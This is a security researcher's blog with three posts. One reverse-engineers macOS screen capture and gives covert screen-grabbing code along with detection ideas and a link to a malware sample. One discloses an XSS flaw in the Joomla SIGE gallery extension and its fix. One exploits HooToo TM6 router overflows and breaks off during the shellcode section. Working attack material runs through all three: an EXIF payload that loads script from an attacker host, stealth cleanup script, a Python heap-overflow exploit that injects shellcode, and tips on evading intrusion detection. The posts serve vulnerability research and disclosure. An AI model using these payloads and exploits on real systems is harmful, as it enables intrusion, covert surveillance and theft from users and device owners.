Technical Notes

Who moved my pixels?!

Sun, 01 Apr 2018 00:00:00 +0000

Screen captures are super useful in my workflow and OS X makes it easy with just a few key combinations. However, I was really curious (worried) if someone could take a screen shot without my knowledge. So, I decided to figure out how that mechanism works and see if there was a way build malware to covertly steal these pixels.

Conclusion

Reversed the screencapture utility to find out how it uses the standard framework functions. Then traced the mechanism to the WindowServer and wrote a utility to covertly grab screens; sandbox-exec can’t stop the screen gabs. Used frida to detect someone grabbing the screen pixels covertly. There is malware, from 2013(!), that steals people’s pixels: macs.app [5]. As expected, there are multiple ways to get the screenshots. This was known since, at least, 2011!

Why does OS X allow any GUI/CUI program to capture the entire screen? There are dangerous security implications here! I propose to add mach message ID filtering to the sandbox configuration. WindowServer needs a mechanism to white list signed binaries that can execute privileged RPC functions.

How does the capture work?

If you wish to reproduce or follow the steps I’ve taken, linked below are the binaries that I used for the reverse engineering. The binaries are from MacOS High Sierra version 10.13.3.

screencapture (7a76ff24fbb9e2f1b1ca07e6d3f351114cf5af42)
SkyLight (1481334038bd636ba0fc4c983c04e1787b33a5d5)

MacOS comes with a utility for capturing the screen pixels into an image file: /usr/sbin/screencapture. It is a useful utility and, I’m guessing, screencapture is what gets executed when I press the right key combinations on the desktop to take full or partial screenshots. So, I decided to reverse it and see how it actually does the capturing. Turns out it wasn’t so complicated.

Starting the trace at the very beginning. This is where the command line arguments are processed; see __text:100002640 and __text:10000287E. So, there is a good chance that this is where we should start tracing.

__text:1000025B8 ; __int64 __fastcall start(int, char **)
__text:1000025B8                 public start
__text:1000025B8 start           proc near
...
__text:100002639  mov     qword ptr cs:xmmword_1000139A0, rcx
__text:100002640  lea     r15, aAbpidicmwwsosx 
                       ; "abPIdicmwWsoSxfrCMET:t:l:R:B:"
__text:100002647  lea     r12, dword_10000346C
...
__text:100002876  mov     edi, ebx        ; int
__text:100002878  mov     rsi, r14        ; char **
__text:10000287B  mov     rdx, r15        ; char *
__text:10000287E  call    _getopt
__text:100002883  lea     ecx, [rax-42h]

To be user friendly, the utility uses a shutter sound to indicate that the screen has been captured. So, I turned up my speakers and started debugging! The sound would serve as guiding light to help narrow down the useful code.

__text:100002E67  jz      loc_100003130
__text:100002E6D  call    take_the_screenshot
__text:100002E72  jmp     loc_10000337B

Unfortunately, the sound is played very early in the process. At least, when I hear the sound, I know I’m on the right path.

__text:100003D20 take_the_screenshot proc near
...
__text:100003D80  cmp     cs:byte_100012553, 0
__text:100003D87  jnz     short loc_100003D8E
__text:100003D89  call    playTheScreenshotSound

I know this is the sound playing function because it is essentially the wrapper to these calls (below). Also, because I can hear the sound after the functions finish execution!

__text:100007DC0  call    _AudioServicesSetProperty
__text:100007DC5  mov     edi, [rbx]
__text:100007DC7  call    _AudioServicesPlaySystemSound

Let’s go back to the take_the_screenshot function (where the sound is played). Using a debugger, I step through a bunch of instructions (tedious!) when I notice a function that calls _CGDisplayCreateImage of the CoreGraphics framework. That looks promising!

__text:100004155  mov     [rsp+0E0h+var_E0], rax
__text:100004159  mov     edi, r12d
__text:10000415C  mov     rsi, r15
__text:10000415F  call    doCapture
__text:100004164  mov     r14, rax
__text:100004167  test    r14, r14
__text:10000416A  jz      loc_100004236

I named this function doCapture but at this point I’m not 100% certain if the name is accurate. However, without going into that function, I notice that the calls after doCapture, within the take_the_screenshot function, record an image to disk. I’m guessing the image being written to disk is the screenshot in question. Seems like a reasonable assumption, so I decided to follow that thread.

__text:10000418F  mov     rdi, r14        ; img
__text:100004192  mov     rsi, qword ptr [rbp+var_80]
__text:100004196  mov     rdx, r15
__text:100004199  call    writeImageToDisk
__text:10000419E  mov     rax, cs:qword_100012548
__text:1000041A5  add     rax, 0FFFFFFFFFFFFFFFEh

I named this function writeImageToDisk. And if you look inside, there are all sorts of references to recording images to a file on disk. Particularly interesting are the error messages:

__text:1000073D9  lea     rax, cfstr_YouDontHavePer 
                       ; "You dont have permission to save files \
                          in the location where screen shots are \
                          stored."
__text:1000073E0  mov     cs:qword_1000139F8, rax
__text:1000073E7  mov     rax, cs:___stderrp_ptr
__text:1000073EE  mov     rdi, [rax]      ; FILE *
__text:1000073F1  lea     rsi, aScreencaptur_6 
                      ; "screencapture: cannot write file to int"

And so, this is more support that doCapture is the function that does all the interesting bits. Let’s keep the name and dig into it some more.

__text:1000052EA  call    _CGRectIsEmpty
__text:1000052EF  test    al, al
__text:1000052F1  jz      short loc_100005312
__text:1000052F3  mov     edi, r12d
__text:1000052F6  call    _CGDisplayCreateImage  ; Returns an \
                       image containing the contents of the   \
                       specified display
__text:1000052FB  mov     r15, rax
__text:1000052FE  lea     rbx, [rbp+var_C0]
__text:100005305  mov     rdi, rbx
__text:100005308  mov     esi, r12d
__text:10000530B  call    _CGDisplayBounds
__text:100005310  jmp     short loc_100005343

CGDisplayCreateImage looks promising, but at this point it could have number meanings. However, I’m a reverse engineer, I’m not afraid of going down a few rabbit holes! Well, this function is actually just a stub:

__stubs:10000BDE4 _CGDisplayCreateImage proc near  
                       ; CODE XREF: doCapture+49
__stubs:10000BDE4   jmp     cs:_CGDisplayCreateImage_ptr
__stubs:10000BDE4 _CGDisplayCreateImage endp

So, I go to the CoreGraphics (_CG gave that away!) framework and look for the function there:

__text:00000546A  public _CGDisplayCreateImage
__text:00000546A _CGDisplayCreateImage:

__text:00000546A  jz      short loc_5490
__text:00000546C  sbb     [rcx-75h], cl
__text:00000546F  sbb     [rax+39h], r9b
__text:00000546F
__text:000005473  db 0CEh, 75h, 1Bh, 49h, 8Bh
__text:000005478  dq 4820468B49202454h, \
                   88558B481675C239h, 181E998758B48h
__text:000005490
__text:000005490
__text:000005490 loc_5490: \
         ; CODE XREF: __text:_CGDisplayCreateImage
__text:000005490  add     [rcx-75h], cl
__text:000005493  and     [rcx-75h], r9b
__text:000005497  push    rsp
__text:000005498  and     al, 20h
__text:000005498
__text:00000549A  dw 4866h
__text:00000549C  db 0Fh
__text:00000549D

Ummm, what? That function doesn’t look like it does anything useful! Worse, it does not look like it can even execute. What’s going on here? Well, we go to our trusty LLDB debugger! Obviously, there is some sort of a runtime linking mechanism that replaces the CoreGraphics function with something else.

(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
  * frame #0: 0x00007fff6e726ef9 SkyLight`SLSHWCaptureDesktop + 5517
    frame #1: 0x00007fff6e7294fa SkyLight`SLDisplayCreateImage + 34
    frame #2: 0x1000052fb screencapture`___lldb_unnamed_symbol17$$screencapture + 78
    frame #3: 0x100004164 screencapture`___lldb_unnamed_symbol12$$screencapture + 1092
    frame #4: 0x100002e72 screencapture`___lldb_unnamed_symbol8$$screencapture + 2234
    frame #5: 0x00007fff74579115 libdyld.dylib`start + 1
    frame #6: 0x00007fff74579115 libdyld.dylib`start + 1

Looking at the stack trace, it becomes obvious that the actual implementation used is actually the similarly named SLDisplayCreateImage function from the SkyLight private framework. So, what we saw in the CoreGraphics framework was some sort of a stub - makes sense, since there is non-executable content in there! Let’s keep digging :-)

Looking at the assembly of _SLDisplayCreateImage, I can see that it is essentially a wrapper function for _SLSHWCaptureDesktop

__text:0001FB4D8  public _SLDisplayCreateImage
__text:0001FB4D8 _SLDisplayCreateImage proc near
...
__text:0001FB4ED  mov     r8d, 441h
__text:0001FB4F3  mov     ecx, eax
__text:0001FB4F5  call    _SLSHWCaptureDesktop
__text:0001FB4FA  mov     r14, rax

Intuitively, I’d expect that the actual contents for the screen pixels will be in a buffer of some service. So, I would not expect the user application to access that buffer directly in order to capture an image. That means there should be some sort of an IPC mechanism between the user application and the GUI service. On OS X, IPC means MACH PORTS [0].

Below is the disassembly of the section of the function that sends a mach port message to the GUI Service in order to obtain the actual pixel content.

__text:0001F796C  public _SLSHWCaptureDesktop
__text:0001F796C _SLSHWCaptureDesktop proc near
...
__text:0001F832E  mov     rcx, cs:_NDR_record_ptr
__text:0001F8335  mov     rcx, [rcx]
__text:0001F8338  mov     [rbp-0A8h], rcx
__text:0001F833F  movaps  xmmword ptr [rbp+var_160], xmm1
__text:0001F8346  movups  [rbp+var_A0], xmm1
__text:0001F834D  movaps  xmmword ptr [rbp+var_190], xmm0
__text:0001F8354  movups  [rbp+var_90], xmm0
__text:0001F835B  mov     dword ptr [rbp+var_80], eax
__text:0001F835E  mov     eax, [rbp+var_1A4]
__text:0001F8364  mov     dword ptr [rbp+var_80+4], eax
__text:0001F8367  mov     [rbp+msg.msgh_bits], 1513h
__text:0001F8371  mov     eax, [rbp+remote_port]
__text:0001F8377  mov     [rbp+msg.msgh_remote_port], eax
__text:0001F837D  call    _mig_get_reply_port
__text:0001F8382  mov     [rbp+msg.msgh_local_port], eax
__text:0001F8388  mov     [rbp+msg.msgh_id], 732Ah
__text:0001F8392  mov     [rbp+msg.msgh_reserved], 0
__text:0001F839C  cmp     cs:_voucher_mach_msg_set_ptr, 0
__text:0001F83A4  jz      short loc_1F83B8
__text:0001F83A6  lea     rdi, [rbp+msg]
__text:0001F83AD  call    _voucher_mach_msg_set
__text:0001F83B2  mov     eax, [rbp+msg.msgh_local_port]
__text:0001F83B8
__text:0001F83B8 loc_1F83B8:
__text:0001F83B8  sub     rsp, 8
__text:0001F83BC  mov     esi, 3          ; option
__text:0001F83C1  mov     edx, 48h        ; send_size
__text:0001F83C6  mov     ecx, 136        ; rcv_size
__text:0001F83CB  xor     r9d, r9d        ; timeout
__text:0001F83CE  lea     rdi, [rbp+msg]  ; msg
__text:0001F83D5  mov     r8d, eax        ; rcv_name
__text:0001F83D8  push    0               ; notify
__text:0001F83DA  call    _mach_msg

Even though the assembly looks messy, the message is very simple and looks like this in psuedo-code:

struct req_msg* rq_msg = (struct req_msg*)buffer;
    
rq_msg->header.msgh_bits = 0x00001513;
rq_msg->header.msgh_size = 0;
rq_msg->header.msgh_remote_port = session_port;
rq_msg->header.msgh_local_port = mig_get_reply_port();
rq_msg->header.msgh_voucher_port = 0;
rq_msg->header.msgh_id = 0x732A;
    
// NDR Record value:
rq_msg->ndr.int_rep = 1;
    
// x, y, width, height of the rectangle to capture
rq_msg->x = 0.0;
rq_msg->y = 0.0;
rq_msg->width = 1024.0;
rq_msg->height = 768.0;

rq_msg->display_id = 0x047400b0;
rq_msg->param5 = 0x00000441; // ¯\_(ツ)_/¯
    
// set the voucher
voucher_mach_msg_set(&rq_msg->header);

// request the pixels
if(mach_msg(&rq_msg->header, 0x3, 0x48, 0x88, 
             rq_msg->header.msgh_local_port, 0, 0) 
        != MACH_MSG_SUCCESS) {
   printf("Error sending mach message\n");
   exit(3);
}

This message executes an RPC function which take the arguments of the capture rectangle dimensions along with the display ID to capture from.

Tracing the remote_port variable, we can see that it is derived from a bootstrap call from within the _SLSMainConnectionID call.

__text:0001F796C  public _SLSHWCaptureDesktop
...
__text:0001F79A2  call    _SLSMainConnectionID
__text:0001F79A7  mov     edi, eax
__text:0001F79A9
__text:0001F79A9 loc_1F79A9:
__text:0001F79A9  call    _CGSGetConnectionPortById
__text:0001F79AE  mov     [rbp+remote_port], eax
__text:0001F79B4  test    eax, eax

It is a bit of a distraction to follow these steps in the same detail. However, there is a stack trace that looks like this:

_SLSHWCaptureDesktop
 > _SLSMainConnectionID
   > _SLSNewConnection
     > _SLSServerPort
       > _CGSLookupServerRootPort
         > _bootstrap_look_up2

Looking at the references to _bootstrap_look_up2, two names show up that look interesting:

com.apple.windowserver.active
com.apple.windowserver

We need to find out which service publishes these ports with these names. I wasn’t quite sure how to do that directly, so I took a slightly different approach. Instead, I set a breakpoint on the _mach_msg and looked at the message header to obtain the remote port number:

(lldb) x/100wx $rdi
0x7ffeefbff640: 0x00131513 0x00000000 0x00002113 0x00000607
0x7ffeefbff650: 0x00001203 0x0000732a 0x00000000 0x00000001
(lldb) x/5i $rip
->  0x7fff6e7263da: callq  0x7fff6e7868ca 
                      ; symbol stub for: mach_msg
    0x7fff6e7263df: addq   $0x10, %rsp
    0x7fff6e7263e3: movl   %eax, %r14d
    0x7fff6e7263e6: leal   -0x10000002(%r14), %eax
    0x7fff6e7263ed: cmpl   $0xe, %eax
(lldb)

The remote port number is 0x00002113. Then using lsmp command line tool, I can see that port 0x2113 belongs to the WindowServer process:

$ lsmp -a
0x00002113  0x7591764b  send  ... WindowServer

$ ps -ef | grep WindowServer
   88   201  /System/Library/PrivateFrameworks/ \
               SkyLight.framework/Resources/WindowServer -daemon

Loading the WindowServer in IDAPro, I can see that it uses the same framework at its core as the screencapture utility. That’s kinda cool!

The WindowServer program is basically a simple wrapper for the functionality in the SkyLight library that I’ve been analyzing all this time. This makes life easier in many ways. So, I looked for a corresponding capture function - just thinking that one should exist by, perhaps, a slightly different name. Doing a simple text search, I found _XHWCaptureDesktop. Without hesitation, I attached the debugger and set a breakpoint. This is the resulting backtrace which looks super interesting!

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 3.1
  * frame #0: 0x00007fff544c3287 SkyLight`_XHWCaptureDesktop
    frame #1: 0x00007fff54638105 SkyLight`__connectionHandler_block_invoke + 87
    frame #2: 0x00007fff5468aa57 SkyLight`CGXHandleMessage + 107
    frame #3: 0x00007fff546373bf SkyLight`connectionHandler + 212
    frame #4: 0x00007fff546caf21 SkyLight`post_port_data + 235
    frame #5: 0x00007fff546cabfd SkyLight`run_one_server_pass + 949
    frame #6: 0x00007fff546ca7d3 SkyLight`CGXRunOneServicesPass + 460
    frame #7: 0x00007fff546cb2b9 SkyLight`SLXServer + 832
    frame #8: 0x000000010afdddde WindowServer`_mh_execute_header + 3550
    frame #9: 0x00007fff5a4ce115 libdyld.dylib`start + 1

Setting a breakpoint on _XHWCaptureDesktop and triggering a screencapture, we get a nice trace that confirms the theory! This is great because if we want to keep an eye on who takes screenshots on the system, we can just look for calls to this function!

Detecting a screenshot

After analyzing the process of how the screencapture utility works, I became curious if there was a way to detect when my screen gets captured. One mechanism is to use the mdfind utility. This is what Dave DeLong [6] used in his method. However, it seems to depend on the capture utility to generate an image file and set the kMDItemIsScreenCapture = 1 attribute within the file. Fairly certain that malware wouldn’t do that. Well, unless you’re developing KitM.A malware (see the Malware section)! This section is my exploration for how to perform detection of someone capturing the pixels off of my screen using the method reverse engineered in this article.

Detecting if some process has requested a screenshot is actually quite easy with the right tools. Using LLDB is too heavy and we don’t really want to breakpoint a service that is being used. So, instead I decided to use Frida [1]. It is a great tool for dynamic analysis and uses techniques similar to those that would be applied by a production endpoint security tool.

dudes-Mac:~ dude$ sudo frida-trace  \
                    -a 'SkyLight!43287' WindowServer
Instrumenting functions...
sub_43287: Auto-generated handler at 
   "./__handlers__/SkyLight/sub_43287.js"
Started tracing 1 function. Press Ctrl+C to stop.
           /* TID 0x307 */
  6791 ms  sub_43287()

For some reason Frida would not resolve the _XHWCaptureDesktop function, however I was able to specify it by the offset into the dynamic library. The name resolution is probably some sort of a bug within Frida because all the other tools I’ve used (IDAPro, LLDB, nm) have resolved the symbol just fine.

Luckily for us, the mach message that contains the request from the client is passed in as an argument to the _XHWCaptureDesktop function. The pointer is passed in the RDI register.

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x00007fff544c3287 SkyLight`_XHWCaptureDesktop
SkyLight`_XHWCaptureDesktop:
->  0x7fff544c3287 <+0>: pushq  %rbp
    0x7fff544c3288 <+1>: movq   %rsp, %rbp
    0x7fff544c328b <+4>: pushq  %r15
    0x7fff544c328d <+6>: pushq  %r14
Target 0: (WindowServer) stopped.
(lldb) x/10wx $rdi
0x7ffee4c12610: 0x00001112 0x00000048 0x000153ab 0x0001249b
0x7ffee4c12620: 0x00000000 0x0000732a 0x00000000 0x00000001
0x7ffee4c12630: 0x00000000 0x00000000

We can see that the message ID is 0x0000732a (see the psuedocode above, in the screencapture reverse engineering section, for details) and the local port is 0x000153ab that is the port this request was sent from. Let’s use lsmp to track this port.

$ sudo lsmp -a
Process (4460) : screencapture
  name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000103  0x56e57599  send        --------        ---            2                                                  0x00000000  TASK SELF (4460) screencapture
0x00000203  0x56e59519  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000307  0x56e59321  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x56e56e61  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000507  0x56e57a31  send        --------        ---            1                                                  0x00000000  THREAD (0x7faf5)
0x00000603  0x56e56729  recv        --------     0  ---      1           1   N        5         0  0x0000000000000000
                  +     send-once   --------        ---            1         <-                                       0x000153ab  (157) WindowServer

There’s not really a good way to format the output of lsmp, but if you scroll to the side you will see that 0x000153ab is connected to the WindowServer process. This is how we can derive the PID of the process that made the request.

Just to confirm, we can also see that the WindowServer process has a reference to this port as well:

Process (157) : WindowServer
  name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x000153ab  0x56e56729  send-once   --------        ---                     ->        5         0  0x0000000000000000 0x00000603  (4460) screencapture

Malware

In the conclusion, I mentioned that back in 2013 there was some malware that had screenshotting as one of its features. So, I obtained this sample. It is called MAC.OSX.Backdoor.KitM.A by F-Secure and, by now, it is detected by everyone. You can download it here: malware_KitM.zip Password infect3d.

__text:10000236F ; void __cdecl -[macpsAppDelegate getscreenshot]
                           (struct macpsAppDelegate *self, SEL)
__text:10000236F __macpsAppDelegate_getscreenshot_ proc near
...
__text:10000250F  lea     rdx, cfstr_UsrSbinScreenc 
                             ; "/usr/sbin/screencapture"
__text:100002516  mov     rdi, rbx
__text:100002519  call    cs:msgRef_setLaunchPath
                               ___objc_msgSend_fixup
__text:10000251F  lea     rsi, msgRef_arrayWithObjects
                               ___objc_msgSend_fixup
__text:100002526  lea     rdx, stru_100034A88 ; "-x"
__text:10000252D  lea     rcx, cfstr_T    ; "-T"
__text:100002534  lea     r8, cfstr_20    ; "20

Doing some quick reverse engineering, it’s easy to see that the malware actually uses the screencapture utility that comes with the OS. It generates the screenshot images and uploads them somewhere. What’s interesting is that it means these screen capture images could be found using the mdfind kMDItemIsScreenCapture:1 command.

Building the grabber

Let’s say I was a Russian Hacker and I wanted to covertly steal your pixels. Using the screencapture utility would work, but I don’t want to give myself away by shouting the shutter sound. Luckily for me there’s a super easy way of doing it myself! All I have to do is use the right libraries that are already on every OS X instance.

As it turns out, there is more than one way to grab screen pixels. In his blog, Felix Krause [7] uses the CGWindowListCreateImage function to capture the image. He goes a step further and actually sends the image through an OCR tool to extract the text. Cool! Below is my code for leveraging the same mechanism as the screencapture utility was revealed in the previous section.

#include <CoreGraphics/CGDirectDisplay.h>
#include <ImageIO/CGImageDestination.h>
#include <CoreFoundation/CFURL.h>

void doCGCapture() {
    CGDirectDisplayID displays[256];
    uint32_t dispCount = 0;
    
    // get a list of all displays
    if(CGGetActiveDisplayList(256, displays, &dispCount)) {
        printf("Error getting display list\n");
        return;
    }
    
    // iterate screens and take the screenshots
    for(int i = 0; i < dispCount; i++) {
        CGDirectDisplayID dispId = displays[i];

        // get the raw pixels
        CGImageRef img = CGDisplayCreateImage(dispId);
        
        char path_str[1024];
        snprintf(path_str, 1023, "./image%d.png", i);
        
        // output file
        CFURLRef path = 
            CFURLCreateWithFileSystemPath(NULL, 
                   __CFStringMakeConstantString(path_str), 
                   kCFURLPOSIXPathStyle, false);
        
        // file/format to save pixels to
        CGImageDestinationRef destination = 
            CGImageDestinationCreateWithURL(
                   path, CFSTR("public.png"), 1, NULL); //[4]
        
        // add our captured pixels
        CGImageDestinationAddImage(destination, img, nil);
        
        // generate the image
        if (!CGImageDestinationFinalize(destination)) {
            printf("Failed to finalize\n");
        }
    }
}

Let’s see how this code works in action:

The video on the left shows screen capturing via the command line or SSH. The video on the right shows the same thing by via a Cocoa App that is running from with in a very restrictive sandbox. The sandbox configuration that you would get if you get an application from the AppStore. Below is the screenshot ;) of the sandbox configuration that the app was build with. I know it was taking affect because I had to allow the App to store files in the Downloads folder otherwise it would get blocked by the sandbox.

No other permission was given to the App. By default the App pretty much cannot do anything on the system. This means that malware could come fully sandboxed and still steal your precious pixels!

As far as I could tell, pretty much any user and any process that has access (which is a lot!) to the GUI window server can request all the pixels. The closest way I found, as far as prevention, was to use the sandbox, via sandbox-exec command, mechanism with a strongly defined policy.

(deny mach-lookup
    (global-name "com.apple.windowserver.active"))

I’m not really an OS X expert, but I read some blogs [2]. There I found that OSXReverser has developed a manual on how to configure the sandbox. The closest thing I could find was to prevent the process from looking up the WindowServer port via its name. However, this is not a practical mechanism because lots of applications will want to access the GUI and, more important, port numbers aren’t that hard to bruteforce!

Instead, I really wish there was a mechanism to block mach messages with a specific message ID. For example, something like this:

(deny mach-msg
    (mach-msg-id 0x732a))

Dare I say that we need a way to do deep message inspection and filtering on OS X? Ideally, there should be a mechanism where the WindowServer could white list the processes that are allowed to call certain RPC functions.

This way not every process would be allowed to steal pixels. Pixels that could contain private, confidential information like banking records, secret keys, or plans to the Lockheed Martin F-35 Lightning II [3]!

0 - Mach Overview

1 - Frida

2 - Apple Sandbox Guide v1.0

3 - Lockheed Martin F-35 Lightning II

4 - System-Declared Uniform Type Identifiers

5 - New Mac Malware Takes Screenshots And Uploads Them Without Permission

6 - ScreenShot_DetectorAppDelegate.m

7 - Mac Privacy: Sandboxed Mac apps can record your screen at any time without you knowing

8 - @patrickwardle: …but we can’t say we weren’t ‘warned’ From 2011

Persistent XSS via image metadata

Thu, 01 Mar 2018 00:00:00 +0000

Joomla SIGE is a popular extension for creating image galleries within the Joomla CMS. An injection vulnerability was discovered that enables execution of a Cross Site Scripting (XSS) attack. The extension does not sanitize the text that it retrieves from the image header. Once published online the the image will cause the browser to load malicious content.

Vulnerability Details

The version I tested against is 3.2.3 from the Joomla extensions page [0].

In the htmlImageAddTitleAttribute function, the title of the image is incorporated into the the HTML:

On line 1669 of sige.php:

if($this->plugin_parameters['image_info'])
{
    $html .= '&lt;strong&gt;&lt;em&gt;' . 
                $image_title . 
                '&lt;/em&gt;&lt;/strong&gt;';

    if(!empty($image_description))
    {
           $html .= ' - ' . $image_description;
    }
}

The variable image_description is not escaped properly and allows any character to be sent to the user. The value of this variable is obtained via the getimagesize function in iptcInfo function on line 1515:

private function iptcInfo($image, 
                          &$image_title, 
                          &$image_description)
{
  $iptc_title = '';
  $iptc_caption = '';
  $info = array();

  getimagesize(JPATH_SITE.$this->root_folder .
                           $this->images_dir . '/' . $image, 
               $info);
  ...
    $iptc_caption = utf8_encode(
                       html_entity_decode($data['caption'], 
                       ENT_NOQUOTES));
  ...
  if(!empty($iptc_caption))
  {
    $image_description = $iptc_caption;
  }
}

The the source of the data of the image description is not escaped and allows the HTML special characters to make their way to the user’s browser.

Exploitation

In order to take advantage of this vulnerability the attacker needs to prepare an image with malicious content:

exiftool '-Caption-Abstract=">
              <script src="http://192.168.0.101:8000/xss.js" 
                      id="boom">
              </script><img s="' 
          image.jpg

This can be done by rewriting the Caption-Abstract header object in a JPEG file using the exif command line tool. In the value, the attacker places a script tag which loads JavaScript from an attacker controlled web server. Since the content will be injected into an <a /> html tag, it is necessary to close and reopen the double quotes.

Next, the attacker will need to place the image into the gallery. There are multiple scenarios for how this could happen:

A gallery may allow the public or low-privileged members to upload images.
An attacker may already have another vulnerability which allows them to place an image into the gallery directory.
The gallery administrator might inadvertently download a malicious image from somewhere on the internet and expose everyone who views the gallery.

Once the image description is displayed to the user, the attacker can launch attacks against the browser or anything else within the context of the user - which could be the Joomla administrator.

The problem is that injecting this HTML messes up the DOM of the page, making the exploit not very stealthy. And so, the first thing that the xss.js will do is clean up. Note that the clean up code has to protect from cleaning up twice because the EXIF caption is inserted twice by the SIGE plugin.

if(window.booms == undefined) {
  window.booms = "true";

  setTimeout(function() {
    // remove the first one.
    window.boom.remove();
    var parent = window.boom.parentElement.parentElement;

    // remove the second one.
    window.boom.remove();

    var imgs = parent.getElementsByTagName("img");
    var as = parent.getElementsByTagName("a");

    as[0].title += imgs[0].getAttribute("s");
    imgs[0].remove();

    imgs[0].setAttribute("src", imgs[1].getAttribute("src"));
    imgs[1].remove();
    
    // console.info("Now do evil things :-)");
  }, 200);
}

Even though this isn’t stricly necessary, clean up is good so that users don’t tip off the developers or administrators. This clean up code will remove the script tags and the corrupted image tags but it will maintain a thread of execution to throw browser exploits [1], javascript key loggers [2] or bitcoin miners [3].

The fix

To fix the vulnerability, the image description field needs to be sanitised in the htmlImageAddTitleAttribute function, before it reaches the HTML content. PHP provides the htmlspecialchars function to do this. Thanks to Viktor Vogel of Kubik-Rubik for fixing and releasing an update very quickly [4]!

    private function setImageInformation(&$fileInfo)
    {
        ...
        if ($this->pluginParameters['iptc'] == 1) {
            $this->iptcInfo();
        }

        $this->imageInfo = array_map('htmlspecialchars', 
                             $this->imageInfo);
    }

In my tests I was able to confirm that version 3.3.1 is not vulnerable to this exploit. The above code on line 1321 maps over all the data retrieved from the image and applied the htmlspecialchars function. This ensures that everything from the EXIF header is properly escaped before it is presented to the user.

0 - Joomla! Extensions Directory

1 - A Peek Inside the ‘Eleonore’ Browser Exploit Kit

2 - Javascript-Keylogger

3 - brominer.com

4 - SIGE Joomla Extension

Exploiting the HooToo TM6 router

Tue, 20 Jun 2017 00:00:00 +0000

Part 4: Finding vulnerabilities in a router is cool. But, what’s cooler is exploiting them. The vendor has been informed of the vulnerabilities and they were recorded in the CVE database (CVE-2017-9026 and CVE-2017-9025). So, hopefully they are no longer a major threat. These vulnerabilities could be exploited in many different ways, even from an Android phone [0]. I wanted to follow through and see what useful things we could do from an attacker perspective.

Attack Usecases

There are many reasons why an attacker might want to exploit one of these devices. One obvious reason is to gain access to the user’s information or manipulate user activity. Having malware on the router means that an attacker could potentially see unencrypted traffic, modify their DNS lookups to enable man-in-the-middle attacks or inject malicious content into traffic. For example, an attacker might want the ability to inject iframes for browser exploitation or catch vulnerable update mechanisms [1].

Other reasons for leveraging the vulnerabilities in the travel routers are a bit more indirect. One is to obfuscate attack sources and make attribution harder by creating a jump point [2]. Another is to use the router to infect other systems. A person using the travel router would likely be traveling a lot and touching many different networks from a position of some trust. These networks could include hotels, airbnb’s, private residences, cafes and enterprises. And so, having malware on the device would give an attacker a foothold inside another network.

Exploitation

As was mentioned in earlier posts, it was easier to exploit the heap overflow rather than the stack overflow. It was easier to exploit because the request body is stored on the heap, the heap does not move around and the allocations on the heap are predictable. The latter part was a pleasant surprise, but this is probably because IOOS (the embedded webserver [3]) is a single threaded application and embedded heap libraries try to be as memory conservative as possible.

Below is the exploit script. The concept is very simple. Put the long string into the Cookie header to overflow the buffer. Then place the shellcode as the body of the POST request. This will seed the heap with our data. Then we point the function pointer of the cgi_tab structure to the shellcode at address 0x0059735c. The great thing about this vulnerability is that we get to use the last \0 appended by strcpy as part of the little-endian address. Otherwise, it would’ve been tough to add a NULL into a string operation of the HTTP parser.

import sys, socket
from time import sleep
import sys
import string
import socket
import urllib, urllib2, httplib

# set first argument given at CLI to 'target' variable
target = sys.argv[1]

buff = ["POST /protocol.csp?fname=security&opt=userlock&username=guest&function=get HTTP/1.1",
        "Host: 192.168.1.1",
        "Connection: keep-alive",
        "Cache-Control: no-cache",
        "If-Modified-Since: 0",
        "User-Agent: Mozilla/5.0 ...",
        "Accept: */*",
        "Referer: http://192.168.1.1/",
        "Accept-Encoding: gzip, deflate, sdch",
        "Accept-Language: en-US,en;q=0.8,ru;q=0.6",
        "Content-length: [[shelllen]]",
        "Cookie: [[cookies]]",
        "",
        "",
        "[[shell]]"] 

def getBuffer():
    return "\r\n".join(buff)

exploit = ""

buff = getBuffer()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,80))

shellcode = "SS" + "SSSSSSSS" + 
              open("shellcode/shellcode.bin", "rb").read()

print "shellcode size: %d" % len(shellcode)

buff = string.replace(buff, "[[shell]]", shellcode)
buff = string.replace(buff, "[[shelllen]]", str(len(shellcode)))
send_buff = string.replace(buff, "[[cookies]]", 
              exploit + ("A" * (size - len(exploit))) + 
              "\x5c\x73\x59")

print(send_buff)
print "Sending buffer with length: " + str(len(send_buff))

s.send(send_buff)
back_buff = s.recv(1024)

print "Received size: %d" % len(back_buff)
print back_buff

s.close()

The script will read the shellcode from shellcode.bin binary file and insert it as the body of the message. Luckily for us, the POST message is designed for any kind of data and so we didn’t have to do any encoding. Of course, in a real situation, it would be good to have some sort of encoding to avoid IDS detection.

Shellcode

Now that we are able to control the Program Counter and point it a reliable location of a buffer we control, we can start building shellcode that does something useful. Unlike regular programs, shellcode won’t get to be loaded by a loader. All we get is the ability to execute raw machine code. So, all bootstraping, linking and such would have to be handled manually.

preamble:

entry:
  addi    $t9, $t9, 16        // Set t9 to point to compiled code
  sw      $t9, GPOFFSET($t9)  // Set the GPOFFSET pointer

Initially the Program Counter will point to the entry label. This preable is necessary in order to allow the following position independant code (PIC) to execute - main executable. The preamble fixes up the Global Offset variable. Even through the PIC is supposed to be position independent, it still relies on a pointer that it stores as a variable just after the machine code. This pointer is supposed to point to the beginning of the PIC. This way the code knows how to compute a relative offset. However, since the compilation is happening locally, the compiler does not know the initial value of GPOFFSET. So we have to set it.

At the time of exection, the location of the shellcode buffer will be stored in register $t9. Our task is to set the GPOFFSET value to the top of the code compiled from the below C program. We do this by offsetting 16 bytes from the start of the shellcode - to skip the preamble. Then, we make sure that the register $t9 actually points to the beginning of the compiled code.

main executable:

/**
 * Shellcode entry point. We intentionally place it in a 
 * seperate section in order to use a linker script to 
 * place it at the beginning of the binary.
 */
static int main()
    __attribute__((section (".entry")));

static int (*do_cmd)(const char*) = NULL;

int main() {
